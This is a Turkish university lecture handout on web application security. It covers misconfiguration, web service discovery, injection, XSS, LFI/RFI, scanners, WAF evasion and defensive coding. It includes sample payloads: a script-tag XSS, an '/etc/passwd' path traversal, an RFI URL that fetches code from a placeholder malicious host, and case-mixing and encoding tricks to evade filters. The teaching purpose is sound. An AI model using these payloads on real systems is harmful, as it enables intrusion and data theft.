

WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Siber Saldırı ve Savunma Yöntemleri - Hafta 13



WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Bu öğrenme birimi, web uygulama güvenliği alanındaki kritik konuları kapsamaktadır. Ele alınacak temel başlıklar şunlardır:

- Web Uygulama Güvenliği ve Yapılandırma Zafiyetleri
- Web Servisleri ve Keşif İşlemleri
- Web Servis Zafiyetleri (Injection, XSS, LFI/RFI)
- Otomatize Zafiyet Tespit Araçları
- WAF ve Uygulama Filtrelerini Atlatma Yöntemleri

Amacımız, üniversite düzeyindeki öğrencilerin web uygulamalarında keşif ve savunma mekanizmalarını derinlemesine anlamasını sağlamaktır.



WEB UYGULAMA GÜVENLİĞİNE GİRİŞ

Web uygulamaları, internet ağı üzerinden erişilen programlardır.

- Masaüstü programlara göre her yerden ulaşılabilir olması, işlevselliği ve pratikliği nedeniyle tercih edilirler.
- Kullanıcılar, program indirmeye veya yüklemeye gerek kalmadan internet tarayıcıları üzerinden hizmet alabilirler.
- Web uygulamaları, HTML, JavaScript, PHP, ASP gibi çeşitli dillerde oluşturulur ve internet tarayıcılarını istemci olarak kullanır.



WEB UYGULAMALARININ KRİTİK ROLÜ

Günümüzde web uygulamaları, bankacılık, e-ticaret ve bilgi güvenliğinin hayati önem taşıdığı diğer kritik sektörler dâhil birçok alanda kullanılmaktadır.

- Bu alanlarda kullanıcı ve kurum bilgileri, içeriden ve dışarıdan gelebilecek siber saldırılara karşı korunmalıdır.
- Uygulamalar hazırlanırken ortaya çıkan yazılımsal açıklar veya cihazlardaki yapılandırma zafiyetleri saldırganlar için kritik fırsatlar yaratır.



WEB UYGULAMALARININ TEHLİKE ALANLARI

İstemci cihazdan gelen istekler ve bu isteklere yanıt veren hizmetler karmaşık bir yapıya sahiptir.

- Arka planda çalışan kodlar, veri tabanları ve çeşitli servisler, yanlış yapılandırılmış bir iç ağ veya kötü hazırlanmış kod blokları nedeniyle saldırılara açık hâle gelir.



OWASP: AÇIK KAYNAK GÜVENLİK STANDARDI

OWASP (Open Web Application Security Project), web uygulamalarındaki güvenlik açıklarını kapatmak ve bu uygulamaların güvenliğini sağlamak için çalışan özgür bir topluluktur.

- OWASP, saldırganların yetkisiz erişim, yetki yükseltme ve bilgi toplamak için düzeltilmemiş açıklıklardan yararlandığını tespit etmiştir.



HATALI GÜVENLİK YAPILANDIRMASI

Hatalı güvenlik yapılandırması, dünyada en çok bulunan zafiyetlerden biri olup, OWASP Top 10 listesinde genellikle üst sıralarda yer alır (Kaynaklara göre altıncı sırada).

- Bu zafiyetler, saldırganlara sistem verilerine veya işlevlerine yetkisiz erişim hakkı sağlar ve doğru yapılandırılmamış sistemlerin tamamen saldırganın kontrolüne geçmesine neden olabilir.
- Örnekler: Varsayılan yapılandırma ayarlarında bırakılmış sistemler, gereksiz servisler ve güncelliğini yitirmiş servisler.

YAPILANDIRMA HATASI ÖRNEĞİ: DİZİN LİSTELEME

Sunucuda dizin listesinin varsayılan olarak açık bırakılması, ciddi bir yapılandırma hatasıdır.

- Bu zafiyete ulaşmak için herhangi bir şifreye ihtiyaç yoktur; tarayıcıya adres bilgilerini girmek yeterlidir.
- Örneğin, Wordpress sitelerde 'wp-content' veya 'wp-includes' gibi klasörlere herkes erişebilir ve tüm verileri görüntüleyebilir.
- Önlem olarak dizin listelemesi (dizin taraması) özelliği kapatılmalıdır.



GEREKSİZ ÖZELLİKLER VE VARSAYILAN AYARLAR

Kullanılmayan veya artık var olmayan uygulamalarla iletişim kurmaya çalışan bileşenler, saldırganların bu programları taklit etmesiyle güvenlik zafiyeti oluşturabilir.

- Varsayılan olarak açık kalmış bağlantı noktaları (portlar), uzaktan saldırı yapılmasına yol açar.
- Güvenlik duvarlarının yanlış yapılandırılması, yönlendirici cihazların varsayılan ayarlarda kalması ve yetkilendirme ayarlarının yapılmaması da güvenlik problemlerine neden olur.
- Örn: Saldırgan, açık unutulmuş ve varsayılan ayarlarda bırakılan uzak masaüstü erişim bağlantı noktasını tarayarak sistemi ele geçirebilir.



HATALI YAPILANDIRMAYA KARŞI OWASP ÇÖZÜMLERİ 1

OWASP, web uygulamalarının güvenliği için altı temel çözüm önermektedir:

1. Kütüphaneler ve web platformları daima güncel tutulmalıdır.
2. Varsayılan olarak daha güvenli bir yapılandırma oluşturulmalıdır.
3. Kullanılmayan servisler, uygulamalar, varsayılan kullanıcılar ve test kullanıcıları sistemden kaldırılmalıdır.



4. Sunucu ve veri tabanı arasındaki bağlantı şifrelenmelidir (SSL/TLS kullanımı).
5. Üçüncü parti uygulamaların güvenli kaynaklardan geldiğine emin olunmalıdır.
6. Tüm uygulama kaynaklarının yine uygulama tarafından başlatıldığına emin olunmalıdır.



WEB SERVİSLERİNE GİRİŞ

Web servisleri, HTTP protokolü kullanılarak masaüstü, mobil veya diğer sistemlere hizmet veren yapılardır.

- İstemci ve sunucu olmak üzere iki taraf bulunur; istemci istekte bulunur, web servis ise uygun formatta cevap döndürür.
- Bu servisler, uzak sistemler veya farklı platformlar arasında XML, JSON, CSV gibi ortak biçimler kullanarak veri alışverişini sağlar.
- Java, C++, C#, PHP, Python gibi HTTP üzerinden iletişim yapan ve ortak biçimi destekleyen yapılar arasında iletişimi sağlarlar.

WEB SERVİS PROTOKOLÜ: SOAP

SOAP, uygulamaların HTTP protokolü üzerinden haberleşmesini sağlayan, **XML tabanlı** mesajlar içeren bir servis protokolüdür.

- SOAP, web servisleri için yaygın olarak kullanılır.
- SOAP servisini kullanmak için WSDL (Web Services Description Language) tanımlaması zorunludur.

WEB SERVİS PROTOKOLÜ: REST

- REST, HTTP protokolünü kullanarak hizmet veren daha modern bir servis türüdür.
- İstemci ve sunucu arasındaki hizmeti GET, POST, PUT gibi HTTP metotlarını kullanarak gerçekleştirir.
 - REST servisleri, URL'ler ile doğrudan HTTP metotlarıyla istek yapar; SOAP gibi bir WSDL'e gerek yoktur.
 - SOAP'tan farklı olarak REST, JSON (başta olmak üzere), XML veya Text formatında bile veri iletebilir.

WSDL (Web Services Description Language): SOAP web servisleri için gerekli tanımlamaları yapan bir dildir. Fonksiyonlar, veri tipleri ve fonksiyon açıklamaları gibi tanımlamaları sunar. Saldırganlar güvenlik açıklarını bulmak için WSDL arayüzü taraması yapabilir.

- WADL (Web Application Description Language): REST servisin desteklediği fonksiyonları, metotları, giriş/çıkış parametrelerini ve tiplerini gösteren **XML tabanlı** bir dokümandır.



WEB SERVİSİNİN KEŞFİ

Uygulamaların kullandığı web servislerini keşfetmek için çeşitli yöntem ve teknikler kullanılır.

Başlıca yöntemler şunlardır:

- Proxy yazılımı kullanarak trafiğin incelenmesi.
- Arama motorları kullanılarak directory listing tarzı açıkların keşfedilmesi.
- Fuzzing testleri yöntemiyle rastgele veri gönderme.
- Swf veya jar dosyalarının tersine işlem görerek (decompile) incelenmesi.



Web servisleri keşfedildikten sonra zafiyetleri incelenir ve gerekli güvenlik önlemleri alınır.

- Proxy yazılımları (Burpsuite gibi) kullanılarak web servislerinde araya girme işlemleri uygulanabilir, kullanılan servisler öğrenilebilir.
- Swf intruder, flash dosyalarının içeriğini inceleyerek kullanılan web servisini bulmayı mümkün kılar.
- Kali Linux işletim sisteminde Uygulamalar, Web Applications, Web Application Proxies yoluyla çeşitli web Proxy yazılımlarına ulaşılır.



BURPSUITE: EN POPÜLER ARAÇ

Burpsuite, Kali Linux içinde ücretsiz versiyonu bulunan en popüler web proxy yazılımıdır.

- Burpsuite kullanılarak, '.dll?wsdl', '.ashx?wsdl', '.exe?wsdl' veya '.php?wsdl' gibi ifadeler aratılarak web servisleri tespit edilebilir.
- Burpsuite'in pro versiyonu ek özellikler sunarken, ücretsiz versiyonu temel işlevler için kullanılabilir.



ARAMA MOTORLARI İLE KEŞİF (DORKING)

Birçok web servis uygulamasında WSDL dosyaları halka açık hâlde bulunabilir.
– Saldırganlar, özel arama sorguları (dorklar) kullanarak bu dosyalara erişebilir.



Fuzzing test araçlarını kullanarak da web servislerinin keşfini yapmak mümkündür.

- Wfuzz, bu alanda en sık kullanılan test aracıdır ve Kali Linux işletim sisteminde kullanıma hazır olarak gelir.
- Wfuzz, rastgele veri gönderme metodunu kullanarak açıklıkların keşfedilmesini sağlar.
- Wfuzz komut örneği: 'wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-{taraması yapılan web servisler}-z'.

WEB SERVİS ZAFİYET İŞLEMLERİ

Web servislerinin keşfedilen metotları ve parametreleri üzerinde değişiklikler yapılarak zafiyetler bulunabilir.

Web servis testleri için kullanılabilecek popüler araçlardan bazıları:

- Burpsuite, SoapUI, Wfuzz, ZAP, Metasploit, WSDL Analyzer, WebScarap, RESTClient, WS-Attacker.



INJECTION ZAFİYETLERİ

Injection saldırılarının temel amacı, sisteme zararlı kodlar sızdırmak veya sistemden veriler elde etmektir.

- Injection açıkları, web uygulamalarının kodlanması sırasında dikkatsizliklerden ve hatalardan kaynaklanır.
- Bu açıklar, hedef sistemde veri okunmasına, silinmesine veya zarar verilmesine neden olabilir ve en riskli açıklar arasında sayılır.

SQL INJECTION (SQLi)

SQLi, SQL veri tabanlarına erişim ve yönetim için kullanılan sorgu diline, birtakım karakterlerin eklenmesiyle meydana gelir.

- Saldırgan, veri tabanındaki verileri okuyabilir, panellere erişim sağlayabilir ve uzaktan kod çalıştırabilir.
- SQLi çeşitleri: Classic Sql, Error-based Sql, Union-based Sql, Blind Sql, Boolean-based Sql, Time-based Sql, Out-of-band Sql.

BLIND SQL INJECTION (KÖR SQLi)

Blind SQLi, web uygulamasının sorgu sonuçlarını göstermediği veya hata mesajları üretmediği durumlarda kullanılan bir saldırı yöntemidir.

- Saldırgan, uygulamadan yanıt almadan veri tabanı üzerinde çalışmayı gerektirir, bu da tespiti zorlaştırır.
- İki türü vardır: İkilik (Boolean) Tabanlı Kör SQLi (koşulun doğru/yanlış olmasına bağlı farklı sonuçlar döndürür) ve Zaman Tabanlı Kör SQLi (koşulun doğru/yanlış olmasına bağlı farklı yürütme süreleri).

KOMUT ENJEKSİYONU

Command Injection, genellikle sunucu bazlı çalışan uygulamalarda, gerekli filtrelemelerden geçirilmeden doğrudan kod çalıştırılmasına dayanır.

- Çalıştırılan komutlar sunucuda hâkimiyet sağlar; saldırgan, sistem yöneticisi olabilir ve sistemi uzaktan yönetebilir.



XML TABANLI ENJEKSİYONLAR

XPATH Injection: XML verileri üzerinde değişiklik yapılmaksızın veri almak veya okumak için kullanılan XPATH diline zararlı karakterler sıkıştırılarak oluşur. Yapısı SQL injectiona benzer.

– LDAP Injection: Dizin hizmetlerinin yönetiminde kullanılan LDAP protokolünün denetlenmediği uygulamalarda gerçekleşir. Veriler okunabilir, değiştirilebilir veya yetkisiz kullanıcılara yetkiler verilebilir.



DİĞER INJECTION ÇEŞİTLERİ

PHP Object Injection: Kullanıcıdan alınan verinin 'unserialize()' fonksiyonundan geçirilmesi sonucu oluşur.

– SSI (Server Side Include) Injection: Web uygulamalarında statik sayfalara dinamik içerik eklemeyi sağlayan SSI komutlarına, sunucuya gönderilen zararlı kodların çalışmasıyla beraber oluşan bir zafiyettir.

Bu zafiyet, oturum saldırılarına yönelik gerçekleştirilir.

- Phishing (Oltalama) saldırıları bu zafiyete örnek gösterilebilir; hedef kitleye yönelik sahte sistemler hazırlanarak kullanıcı hesapları veya kredi kartı bilgileri gibi hassas veriler elde edilmeye çalışılır.
- Güvenli Oturum Yönetimi, kullanıcı oturumlarını takip etmek, kimlik doğrulama bilgilerini güvenli bir şekilde saklamak ve iletmek için önemlidir.

CROSS-SITE SCRIPTING (XSS) ZAFİYETİ

XSS, HTML, CSS ve JavaScript ile hazırlanmış zararlı kodları kullanıcıların tarayıcısında izinsiz olarak çalıştıran bir güvenlik açığıdır.

- XSS ile hedef kullanıcının oturum bilgileri (cookie), tuş girişleri ve tarayıcı yönetimi gibi işlevler gerçekleştirilebilir.
- Bu zafiyet, dışarıdan girilen değerlerin filtrelenmemesi sonucunda ortaya çıkar.



XSS ÇEŞİTLERİ 1: STURED XSS (KALICI)

Stored XSS (Kalıcı XSS), bir içerik kayıt formuna (input) girilen zararlı JavaScript kodlarının veri tabanına kaydedilmesiyle oluşur.

- Veri tabanından o kayıt çağrıldığında kodlar çalışıyorsa XSS açığı mevcuttur.
- Bu yöntem, saldırganın zararlı kodunu kalıcı hâle getirdiği için en tehlikeli türlerden biridir (ancak kaynak, en zararlısının DOM XSS olduğunu belirtir).

XSS ÇEŞİTLERİ 2: REFLECTED XSS (YANSITILMIŞ)

Reflected XSS, hedef sitede etkin olup olmadığını öğrenmenin en hızlı yoludur.

- URL'den gelen JavaScript kodlarının gömülü olduğu parametrenin anında site içinde çalışıp çalışmadığı kontrol edilir.
- Veri tabanına kaydedilmese dahi anında çalışması gerekir.
- Zararlı kod içeren bir link hazırlanıp hedefe gönderilerek, tarayıcı üzerinden istenen bilgiler alınabilir.
- Örnek: 'https://.../arama.php?ara=<script>alert('!')</script>'.



XSS ÇEŞİTLERİ 3: DOM XSS

DOM (Document Object Model) bir W3 standardıdır ve sayfa içindeki elemanları nesne olarak kabul eder.

- DOM XSS, URL'den alınan bir bilginin doğrudan DOM nesnesine eklenmesi sonucu ortaya çıkan bir zafiyettir.
- Zararlı JavaScript kodunun veri tabanına yazılmasına gerek yoktur, çalışma şekli Stored XSS'e benzer.
- Saldırganın kodu, tarayıcının sayfa yapısını dinamik olarak değiştirmesiyle çalışır. Örn: URL'deki # simgesinden sonraki kodun doğrudan DOM'a eklenmesi.

XSS ZAFİYETİNDEN KORUNMA

- XSS saldırılarından korunmak için Web Application Firewall (WAF) kullanılmalıdır.
- Giriş işlemlerinde '<' (küçüktür), '>' (büyüktür), '/', '=' gibi XSS zafiyetinde kullanılan özel karakterler engellenebilir.
 - Ayrıca, sadece gereken bilginin alınması sağlanmalıdır.

URL YÖNLENDİRME ZAFİYETİ

URL yönlendirme açıkları, önemli ve sık kullanılan bir web uygulama güvenliği zafiyetidir.

- Yönlendirme işleminde doğru filtreleme yapılmadığı takdirde, kullanıcılar ilgili alana istedikleri adresi girebilir (Open Redirect).
- Saldırının mantığı, hedefi sahte veya zararlı bir sayfaya yönlendirmektir (sosyal mühendislik, RCE veya XSS saldırılarıyla birleşebilir).



Yönlendirme, PHP dilinde 'header' ve 'redirect' gibi fonksiyonlarla yapılır.

- 'go' parametresi ile gelen siteye herhangi bir kontrol yapılmadan yönlendirme yapılırsa zafiyet oluşur (Örn: `header(Location: . $_GET['go']);`).
- Yönlendirme adresi Base64 gibi algoritmalarla kodlandığında, son kullanıcı gideceği adresi açıkça göremediği için saldırganın hazırladığı zararlı adrese daha kolay yönlendirilebilir.



URL YÖNLENDİRME ZAFİYETİNE KARŞI ÖNLEMLER

Bu tarz saldırılara karşı önlem almak için geliştirici, gelecek isteklerdeki verileri doğru bir şekilde filtrelemelidir.

- Güvenli URL adreslerinden oluşan listelerle çalışarak (beyaz liste) güvenliği artırmalıdır.
- Güvenilir olmayan dış kaynaklara erişim sağlanmak istendiğinde kullanıcılar uyarılmalıdır.
- Kodlama yapılırken yönlendirme fonksiyon komutları yerine özel linkler ile bağlantılar kurulmalıdır.



Bu zafiyet, nesnelere güvensiz bir şekilde doğrudan erişim sağlanmasından kaynaklanır.

- Genellikle her nesnenin bir ID değeri bulunur. Normal bir kullanıcının yetkisi olmayan başka bir nesneye ID değerini değiştirerek erişim sağlaması durumunda ortaya çıkar.
- Temel sebebi, sistemdeki yetkilendirme (authorization) eksikliklerinden kaynaklanmasındır.



EKSİK İŞLEV VE ERİŞİM KONTROLÜ ZAFİYETİ

Bu zafiyet, eksik işlev ve erişim kontrollerine dayanır.

- Örnek: Bir kullanıcının giriş kontrollerinden geçirilmesi gerekirken, yanlış bir yapılandırma nedeniyle doğrudan yönetici paneli dosyasına ('admin.php') erişim sağlaması.
- Bu zafiyet türünün Local File Inclusion (LFI) ve Remote File Inclusion (RFI) olmak üzere iki farklı türü bulunur.



LFI: LOCAL FILE INCLUSION

LFI, Local File Inclusion olarak bilinir.

- Amaç, sunucudaki bir dosyaya yazılımın doğal yollarla izin vermediği bir erişim sağlamaktır.
- LFI, localdeki dosyaları kaynak kodlarıyla okumayı sağlar (Örn: '/etc/passwd' dosyası).
- LFI sadece hedef siteyi değil, tüm sunucuyu etkileyebilir ve sisteme Shell yüklenmesine olanak tanır.



LFI SALDIRI ÖRNEĞİ

LFI açığı, dosya çağıran parametrenin ('kaynak') sunucuda var olup olmadığı kontrol edildikten sonra, başka bir kontrol yapılmadan dosyanın çağrılmasıyla oluşur.

- Saldırgan, kök dizine geri gitmek için '../' karakter dizilerini kullanarak gizli dosyalara erişmeye çalışır.
- Örn: 'https://www.ornek-sitem.com/?kaynak=../../../../../../../../etc/passwd'.
- Sunucu konumu bilinerek veya tahmin edilerek 'config.php' gibi önemli dosyalar okunabilir.



RFI: REMOTE FILE INCLUSION

RFI, Remote File Inclusion olarak bilinir.

- Amaç, sunucuda var olmayan bir dosyayı uzaktan çağırarak sunucuya yüklemek ve orada çalıştırmaktır.
- Bu açık ile hedef sisteme zararlı kodlar yüklenebilir.
- RFI sonucunda saldırgan, sunucuyu kendi bilgisayarını gibi kullanabilir, yetkili erişim kazanabilir, dosya okuyabilir, değiştirebilir veya silebilir.



RFI SALDIRI ÖRNEĞİ VE KORUNMA

RFI, URL'den dosya çağrılabilen kod yapılarında, kontrolsüz bir şekilde gelen kaynak linkinin doğrudan çalıştırılmasıyla oluşur.

- Örnek: 'https://www.ornek-sitem.com/?kaynak=http://www.zararli-yazilim-kaynagi.com/saldiri.php'.
- Korunma yolu: Gönderilen tüm dosyaların hem yollarının hem de içeriklerinin çok katı kurallarla kontrol edilmesidir.
- RFI'da, kullanılan yazılım dilinin ayarlarında uzaktan dosya çalıştırması engellenebilir.



HTML INJECTION ZAFİYETİ

HTML injection, dışarıdan herhangi bir kişinin siteye HTML kodu enjekte etmesine olanak tanıyan bir güvenlik açığıdır.

- Kullanıcıların dışarıdan veri girdisi yaptığı bütün form işlemlerinde oluşabilir (yazı kutusu, yorum yapma vb.).
- XSS ile benzerlik gösterse de, HTML injection sadece HTML etiketleri ile kullanılır.

HTML INJECTION SALDIRILARININ SONUÇLARI

HTML injection kullanılarak yapılabilecek işlemler şunlardır:

- Web sayfasının içerik bilgilerini değiştirme.
- Kullanıcı oturum verilerini elde etme (form elementleri ekleyerek).
- CSRF karşıtı işlemlerin keşfi.
- Tarayıcıda depolanan parolaları elde etme (formlar yerleştirerek parola yöneticilerini tetikleme).

BİLDİRİLMİYEN GÜVENLİK AÇIKLARI

- Bu zafiyet türü, sistemlerde bilinen güvenlik açıklarının yer alması durumudur.
- Çoğu açık kaynak kodlu yazılımda bulunan zafiyetler sistem yöneticileri tarafından bilinmeyebilir veya bildirilmez.
 - Bu tür yazılımların tüm modülleri sistem yöneticileri tarafından bilinmediği için zafiyetler ortaya çıkar.



OTOMATİZE ZAFİYET TESPİTİNE GİRİŞ

Web sitelerindeki zafiyetler, manuel keşif yöntemlerinin yanı sıra otomatize test araçları ile de tespit edilebilir.

- Otomatize araçlarla elde edilen zafiyet sonuçları, güvenlik açıklarının kapatılması için fırsat yaratır.
- Sızma ve zafiyet testlerinde otomatize araçlardan faydalanmak süreçleri hızlandırır.



KALI LINUX GÜVENLİK ARAÇLARI

- Kali Linux işletim sisteminde birçok yönetime uygun araç hazır olarak gelir.
- Otomatize web site zafiyet araçlarına şu yolla erişilebilir: Uygulamalar, Kali Linux, Web Applications, Web Vulnerability Scanner.
 - Kali Linux'ta bulunan popüler otomatize araçlar: Burpsuite, nikto, skipfish, w3af, whatweb, wpscan.



Wafw00f: Bu araç, bir web sayfasının önünde hangi güvenlik duvarı (WAF) olduğunun keşfinde kullanılır. Güvenlik duvarının bilinmesi, daha özel saldırılar gerçekleştirilmesine olanak tanır.

- Wpscan: Wordpress kurulan sitelerin açıklarını keşfetmek için kullanılır. Saldırganlar, wpscan'i kullanarak sürüm ve eklentilerdeki zafiyetleri tespit eder.



Nessus: Daha çok iç ağda kullanılır; lisanslı sürümü mobil cihazlardan uygulamalara kadar birçok alanda tarama yapabilir. Sunucu ve son kullanıcı ağlarının taranıp zafiyetlerin öğrenilmesini sağlar.

– Nikto: Web sunucularına karşı kapsamlı testler gerçekleştiren açık kaynaklı bir web sunucusu tarayıcısıdır. Sunucu yapılandırma öğelerini kontrol eder ve kurulu web sunucuları ile yazılımları tanımlamaya çalışır.



Nmap (Network Mapper): Ağ keşfi ve güvenlik denetimi için ücretsiz ve açık kaynaklı bir araçtır. Ağdaki bilgisayarları, hizmetleri, işletim sistemlerini ve güvenlik duvarlarını tespit etmek için ham IP paketlerini kullanır.

– W3af: Web uygulamaları için kullanılan saldırı ve denetim programıdır. XSS, SQL injection, SSI detection, LFI, RFI, Buffer Overflow gibi birçok zafiyetin tespit edilmesi mümkündür.



WEB UYGULAMALARI GÜVENLİK DUVARI (WAF)

WAF (Web Application Firewall), web uygulamalarını geliştiriciden bağımsız olarak saldırılara karşı korumak için kullanılır.

- Normal güvenlik duvarları sadece gelen ve giden paketleri kontrol ederken, WAF zararlı içerikler olup olmadığını da kontrol eder (Uygulama Katmanı 7).
- Geliştiriciler, veri giriş alanlarını filtreleyerek güvenlik sağlasa da, WAF ek bir koruma katmanı oluşturur.
- IPS (Saldırı Tespit ve Engelleme Sistemleri) de WAF gibi zararlı içerik tespiti yaparak trafiği kesebilir.



GÜVENLİK DUVARLARINI ATLATMA

Yanlış yapılandırmalar, korumanın devre dışı bırakılması veya sadece kara listeye dayalı güvenlik önlemleri, WAF ve IPS sistemlerinin atlatılmasına neden olabilir.

- Atlatma teknikleri, güvenlik sistemlerinin bu filtreleme veya kontrol mekanizmalarındaki zayıflıklarını hedefler.



SSL, kullanıcılar ve web uygulamaları arasındaki trafiği şifreleyerek güvenli ortam sağlar.

- WAF yapılandırmalarında SSL/TLS doğru yapılmazsa veya hiç yapılandırılmazsa, saldırı aktiviteleri şifreli kanaldan aktarılır ve WAF/IPS tarafından analiz edilemez.
- Saldırı tespit sistemlerinin trafiği analiz edebilmesi için, SSL trafiğinin sistemler üzerinde sonlandırılması ('SSL offloader' veya 'reverse Proxy' ile sunucular arasında) gerekir.



Sunucu üzerinde desteği bulunan SSL Chip'lerin kullanımı durumunda güvenlik sistemini atlatmak mümkündür.

- Bunun için kriptografik anahtarların değişiminde kullanılan özel bir yöntem olan Diffie-Hellman anahtar değişimi kullanılabilir.
- Bu yöntem, iki tarafın güvensiz medya üzerinden ortak gizli anahtar elde etmelerine olanak sağlar ve bu anahtar güvenli olmayan kanaldan iletişimi şifrelemek için kullanılır.



FİLTRELEME İFADELERİNİ DEĞİŞTİRME

WAF sistemleri genellikle kara liste (belirli ifadeleri engelleme) ve beyaz liste (izin verilen aralıkları tanımlama) ile çalışır.

- Kara liste kontrolleri, belirli ifadeler oluşması durumunda saldırıları tespit ettiği için, parametrelerin sonunda yapılacak ufak değişikliklerle WAF atlatılabilir.
- Örn: WAF'a takılan istek: '...id=123'+union+selec+1,2,3--' ile WAF'a takılmayan istek: '...id=123'. Bu sayede SQL injection denenip denenemeyeceği tespit edilir.



HTTP PARAMETRE DEĞİŞİKLİĞİ

Saldırgan, HTML parametrelerini değiştirerek sistemi atlatabilir.

- Sistem genellikle bazı parametreleri engellerken, bazılarını içeriye alabilir.
- Kullanılan sunucu türlerinin vereceği tepkiler farklı olduğu için, sunucu tespitinin ardından filtreleme işlemi o sunucuya göre değiştirilmelidir.



Uygulama geliştiriciler, Cross-Site Scripting (script, alert, src) veya SQL Injection (select, union, from) gibi anahtar kelimelere göre filtreleme fonksiyonları hazırlayabilir.

– Ancak filtreleme fonksiyonlarında gerekli kontroller düzgün yapılmazsa, saldırı ifadeleri içinde ****büyük ve küçük harflerin karışık kullanımıyla**** (örneğin '<ScRiPt>aLerT(123)</sCRiPt>') filtreden kaçılabilir.



Kara listeye alma temelli kontrolleri atlatmak için saldırı istekleri, sunucu tarafından desteklenen encoding (kodlama) teknikleri ile değiştirilerek yollanabilir.

- Değişik encoding yöntemleri (URL Encode, Double URL Encode, UTF-8, HTML Entity, Base64) kullanılarak bu kontroller atlatılabilir.



Web sitesi ve web uygulamaları benzer görünse de farklılıkları vardır.

- Web Sitesi: Genelde sabit (statik) içerik paylaşımı yapılır. Bağlantılarla sayfalar birbirine bağlanabilir.
- Web Uygulaması: Daha fazla kullanıcı etkileşimine sahiptir (beğeni, yorum, üyelik). İçeriği yönetim panelinden dinamik olarak yönetilir.
- Dinamik sayfalar, yetkilendirme ve güncel altyapı sayesinde güvenliği artırır.

GELİŞTİRME ROLLERİ VE KAPSAMLARI

Web sitesi geliştirme dünyasında farklı çalışma grupları bulunur:

- Frontend: Kullanıcı tarafında çalışan kısım (HTML, CSS, JavaScript). Kullanıcı arayüzünü ve deneyimini geliştirir.
- Backend: Sunucu tarafında çalışan kısım. Veri tabanı yönetimi, sunucu taraflı programlama ve iş mantığını yönetir.
- Full Stack: Hem frontend hem de backend geliştirme alanlarında bilgi ve deneyime sahip olan geliştiriciler.



Web uygulama geliştirme zincirindeki bir zayıf halka nedeniyle devlet, firma ve kişiler zarar görebilir.

- Güvenlik önlemleri; sunucu, kod ve veri tabanı için ayrı ayrı alınmalıdır.
- Web uygulamasındaki zincirin en zayıf halkası genellikle insandır (Sosyal Mühendislik saldırıları).

Temel güvenlik önlemleri şunlardır:

- Güvenlik Duvarı (Firewall): Ağı dış tehditlere karşı korur.
- Güncelleme Yönetimi: Güvenlik açıklarını gidermek için düzenli güncellemeler ve yamalamalar.
- Kimlik Doğrulama ve Yetkilendirme: Kullanıcı kimliklerini doğrulama ve erişim haklarını belirleme.
- Şifreleme (Encryption): Verilerin güvenli iletimi veya depolanması.



GİRDİ DENETİMİNE GİRİŞ

İstemci taraflı (Frontend) girdi denetimi, kullanıcının tarayıcısı veya istemcisi tarafında gerçekleştirilen doğrulamalardır.

- Avantajı: Hatalı veya kötü niyetli girişlerin hemen tespit edilmesini sağlar ve sunucuya yük binmesini azaltır.
- Dezavantajı: Kötü niyetli bir kullanıcı, Geliştirici araçlarını (F12) kullanarak HTML, CSS ve JavaScript komutlarını kolayca değiştirebilir. Bu nedenle istemciden gelen hiçbir bilgiye güvenilmemelidir.



SUNUCU TARAFLI GİRDİ DENETİMİ

Sunucu taraflı girdi denetimi, kullanıcıların sağladığı girdilerin güvenli bir şekilde işlenmesi ve doğrulanması için arka yüzde (backend) gerçekleştirilen denetimlerdir.

- Kullanılan Yöntemler: Veri Türü Doğrulaması, Uzunluk Sınırlamaları, Veri Biçimi Doğrulama (e-posta, tarih vb.), Veri Temizleme ve Filtreleme.
- Kritik Önemi: Sunucu tarafı denetimi, istemci tarafı atlatılsa bile, SQL Injection ve XSS gibi güvenlik açıklarını önlemek için hayati önem taşır.



POZİTİF GİRDİ DENETİMİ

Pozitif girdi denetiminde (Beyaz Liste), gelen bilgi olumlu kabul edilen kalıplara göre test edilerek izin verilir.

- Bu yaklaşım, tüm olası geçersiz girdileri (kara liste) tanımlamaktan daha kolay ve güvenlidir.
- Örnek: Serbest metin girişi yerine, açılır listeden (select, drop down list) veri seçilmesi istenebilir.
- Dosya gönderiminde, sadece izin verilen uzantıların (.jpg, .png) kısıtlanması (çalıştırılabilir dosyaların engellenmesi) bu denetime örnektir.



Çıktı denetimi, kullanıcı girdisinin istemciye gönderilmeden önce güvenli bir biçime dönüştürülmesi işlemidir.

- Bu işlem, '<' ve '>' gibi özel karakterlerin kod olarak yorumlanamayacak şekilde (HTML varlıklarına dönüştürülerek) kullanılmasını içerir.
- Güvenli çıktı doğrulama için: Güvenli kodlama yöntemleri kullanılmalı, otomatik araçlarla güvenlik açıkları taranmalı ve yazılım güncel tutulmalıdır.



XSS DENETİMİNDE KULLANILAN PHP KOMUTLARI

XSS denetimi için kullanılan temel PHP komutları:

- 'addslashes()': Özel karakterlerin önüne ters eğik çizgi ekleyerek kaçış karakteriyle işaretleme.
- 'htmlentities()': HTML etiketlerini ve özel karakterleri HTML kodlarına dönüştürerek düz metin olarak görüntüleme.
- 'htmlspecialchars()': '<' karakterini '<' ile değiştirerek özel karakterleri etkisiz hâle getirme.
- 'strip_tags()': HTML etiketlerini tamamen kaldırarak sadece düz metin içeriği bırakma.



Blind SQLi saldırıları ve genel SQLi türlerinden korunmak için:

- Tüm kullanıcı girdileri temizlenmelidir; veri tabanına kötü amaçlı kod enjekte etmek için kullanılabilecek özel karakterler kaldırılmalı veya dönüştürülmelidir.
- Hazırlanmış ifadelerin (Prepared Statement) Kullanılması: Kullanıcı girdisini belirli bir değişkene bağlayarak SQL enjeksiyon saldırılarını önler.
- Web Uygulaması Güvenlik Duvarı (WAF) kullanılması.
- PHP'de PDO kullanımı ve 'mysqli_real_escape_string' gibi komutlarla temizlik yapılması.



Güvenli oturum yönetiminde dikkat edilmesi gereken en temel ilkeler:

- Uygulama, oturum tekil tanımlayıcısını (Session ID) korumalıdır.
- Session ID, URL'de gönderilmemeli veya başlık bilgisi içine dâhil edilmemelidir.
- Oturum yönetimi için kullanılan Session ID ve token gibi değerler, güçlü bir rastgele veri üreteciyle temin edilmeli ve tahmin edilemez derecede karmaşık olmalıdır.



Ek Güvenlik İlkeleri:

- Belirlenen süre boyunca aktif olmayan oturumlar otomatik olarak kapatılmalıdır (Idle Timeout).
- Session ID bilgisinin JavaScript ile okunması engellenmelidir (HttpOnly çerez özelliği).
- Oturum açıldığında Session ID bilgisi değiştirilmelidir ('session_regenerate_id(true)').
- Oturum çerezleri, HTTPS üzerinden güvenli iletim için Secure onayına sahip olmalıdır.



ÇEREZLER (COOKIES) VE GÜVENLİK RİSKİ

